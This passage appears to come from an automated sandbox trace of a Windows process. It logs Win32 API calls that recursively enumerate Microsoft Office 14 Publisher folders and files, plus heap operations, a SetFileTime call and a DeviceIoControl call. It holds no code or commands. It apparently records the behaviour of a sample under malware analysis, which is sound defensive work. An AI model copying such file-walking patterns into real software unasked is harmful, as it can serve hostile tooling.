ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x2476, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB5B.BDR", cAlternateFileName="")) returned 1 [0079.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11caca0 [0079.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc968 [0079.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.564] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x7f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB6.BDR", cAlternateFileName="")) returned 1 [0079.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cacc0 [0079.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc9f0 [0079.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.565] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x799a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB7.BDR", cAlternateFileName="")) returned 1 [0079.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cace0 [0079.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabca78 [0079.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.566] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xe6aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB8.BDR", cAlternateFileName="")) returned 1 [0079.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cad00 [0079.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabcb00 [0079.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.567] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x6bbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB9.BDR", cAlternateFileName="")) returned 1 [0079.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cad20 [0079.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabcb88 [0079.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.568] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x6bbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB9.BDR", cAlternateFileName="")) returned 0 [0079.568] GetLastError () returned 0x12 [0079.569] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0079.569] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x69e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB11.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xf254, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB1A.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB1B.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xc8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB2A.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB2B.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xde58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB3A.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xf4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB3B.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xc144, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB4.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xcfb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB5A.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x2476, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB5B.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x7f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB6.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x799a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB7.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xe6aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB8.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x6bbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB9.BDR", cAlternateFileName="")) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x6bbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB9.BDR", cAlternateFileName="")) returned 0 [0079.569] GetLastError () returned 0x12 [0079.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.569] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.570] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0079.570] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe236cf00, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe236cf00, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xe778, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBTRAP.DLL", cAlternateFileName="")) returned 1 [0079.570] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWIZ", cAlternateFileName="")) returned 1 [0079.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0079.571] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.571] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.571] NtClose (Handle=0x164) returned 0x0 [0079.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.572] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0079.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.649] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1 [0079.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cad40 [0079.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabcc10 [0079.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.650] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x1cba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCTBOX.POC", cAlternateFileName="")) returned 1 [0079.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cad60 [0079.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabcc98 [0079.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.651] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16892b00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16892b00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x5f09, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD.DPV", cAlternateFileName="")) returned 1 [0079.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cad80 [0079.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabcd20 [0079.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.652] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52fa4f00, ftCreationTime.dwHighDateTime=0x1c917c2, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52fa4f00, ftLastWriteTime.dwHighDateTime=0x1c917c2, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD.XML", cAlternateFileName="")) returned 1 [0079.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.652] RtlFreeHeap 